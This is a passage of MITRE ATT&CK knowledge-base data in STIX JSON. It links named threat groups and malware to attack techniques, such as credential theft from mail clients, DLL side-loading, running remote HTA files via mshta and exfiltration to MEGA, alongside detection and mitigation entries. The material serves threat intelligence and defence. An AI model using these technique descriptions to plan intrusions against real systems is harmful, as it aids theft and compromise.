2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T14:03:07.361Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has obtained credentials from mail clients via NirSoft MailPassView.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4c15cb6-ed2f-4ed0-8e6d-dd69e06c3c3f","type":"relationship","created":"2019-03-18T14:05:57.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:22:40.208Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has targeted RDP credentials and used it to move through the victim environment.(Citation: FireEye APT40 March 2019) ","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4c1ae1c-e258-4cce-9047-1557e1bdb680","created":"2021-12-06T23:14:44.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:48:30.081Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has obfuscated scripts with the BatchEncryption tool.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4c4e420-4e1a-420d-9d6a-08fe6d322217","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"}],"modified":"2021-03-29T19:43:26.799Z","description":"A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use WMI to execute a binary.(Citation: Nccgroup Emissary Panda May 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d4c505f2-e265-4b86-882a-7707291e5d24","created":"2022-03-30T14:26:51.836Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made in the Active Directory that may use scripts automatically executed at boot or logon initialization to establish persistence.","modified":"2022-04-28T15:00:30.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4c5a3a8-203d-4201-80fa-48b5ac9a533f","type":"relationship","created":"2019-03-26T19:23:02.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Emotet Jan 2019","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."}],"modified":"2019-06-28T15:25:29.864Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used custom packers to protect its payloads.(Citation: Trend Micro Emotet Jan 2019)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4c624e3-7520-4e01-990e-b787a1320eff","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor for the unexpected deletion or absence of cloud block storage volumes . To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4c936f5-2221-4f6d-9d49-c6f499b07c9e","created":"2024-03-25T20:59:16.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T14:47:06.504Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has exfiltrated victim data to the MEGA file sharing site.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4c9b3cb-44ca-47be-b10f-2371ef1c23df","type":"relationship","created":"2019-01-31T00:36:40.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:19.260Z","description":"A version of [KONNI](https://attack.mitre.org/software/S0356) searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.641Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate and search for files and directories.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4d07662-749c-4116-a83c-e4045eddad43","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.642Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as [UPPERCUT](https://attack.mitre.org/software/S0275).(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4d12441-c588-47f2-9751-8a86a867a185","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.211Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) collects the network adapter information and domain/username information based on current remote sessions.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4d35e55-6a09-47ef-8de5-160468276025","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet At","description":"Microsoft. (n.d.). At. Retrieved April 28, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490866.aspx"},{"source_name":"Linux at","url":"https://man7.org/linux/man-pages/man1/at.1p.html","description":"IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022."}],"modified":"2022-02-25T21:01:55.745Z","description":"[at](https://attack.mitre.org/software/S0110) can be used to schedule a task on a system to be executed at a specific date or time.(Citation: TechNet At)(Citation: Linux at)","relationship_type":"uses","source_ref":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4d74097-2e4a-44c7-bda0-8c0dee2b5813","created":"2021-08-24T14:13:17.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:36:29.586Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can use encrypted string blocks for obfuscation.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4dbffc2-246d-4fd4-8c3c-0e7901aaef05","type":"relationship","created":"2020-06-23T19:14:12.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-27T13:51:59.229Z","description":"Script blocking extensions can help prevent the execution of scripts and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4dc5fe6-fbfb-4718-8a7f-cd1eca70db61","type":"relationship","created":"2021-02-10T18:20:51.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:20:51.684Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to download and upload files to the system.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d4e0558a-83e2-4d99-bc80-aff1bb367724","created":"2022-03-14T15:24:45.856Z","x_mitre_version":"1.0","external_references":[{"source_name":"Medium S2W WhisperGate January 2022","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WhisperGate](https://attack.mitre.org/software/S0689) has been disguised as a JPG extension to avoid detection as a malicious PE file.(Citation: Medium S2W WhisperGate January 2022)","modified":"2022-04-10T16:50:49.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4e20b18-2cea-44a7-98c1-ffabea1f4f68","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Splunk Kovar Certificates 2017","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:25:23.913Z","description":"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4e351be-ccdc-4c51-a52a-b4d6a55cbeca","created":"2021-05-18T18:19:23.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-16T18:58:14.848Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use `rundll32.exe` to load DLL from the command line.(Citation: Cobalt Strike Manual 4.3 November 2020)(Citation: DFIR Conti Bazar Nov 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4e65cc4-3cd3-4d0e-b3b5-09fd12c659bf","created":"2024-02-22T22:55:59.809Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:55:59.809Z","description":"[APT41](https://attack.mitre.org/groups/G0096) queried registry values to determine items such as configured RDP ports and network configurations.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4e67bb3-dcb2-4427-a48e-d8b4bcc35afa","type":"relationship","created":"2022-02-17T15:04:48.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"modified":"2022-02-17T15:04:48.816Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) can use mshta.exe to execute an HTA file hosted on a remote server.(Citation: Symantec Shuckworm January 2022)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4ee44c8-c389-4c02-8601-ee7c194d249e","type":"relationship","created":"2021-09-28T20:06:11.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T13:49:36.151Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can Base64 encode system information sent to C2.(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4f0554e-46bb-4fd5-94e8-900dfe3198cf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.721Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to create Registry entries for storing data under HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\WABE\\DataPath.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4f17f68-7a50-428f-b26d-94dcbf861ec5","type":"relationship","created":"2021-03-24T20:25:01.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.303Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has been executed through malicious e-mail attachments.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4f37e3b-69bf-4fe4-8d4e-6899fe1f7c3b","created":"2024-07-25T18:06:38.057Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T18:06:38.057Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used signed, but not notarized, malicious files for execution in macOS environments.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4f4974e-7918-4829-8379-5e2e98f2ae20","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.600Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) contains code to open and copy data from the clipboard.(Citation: McAfee Gold 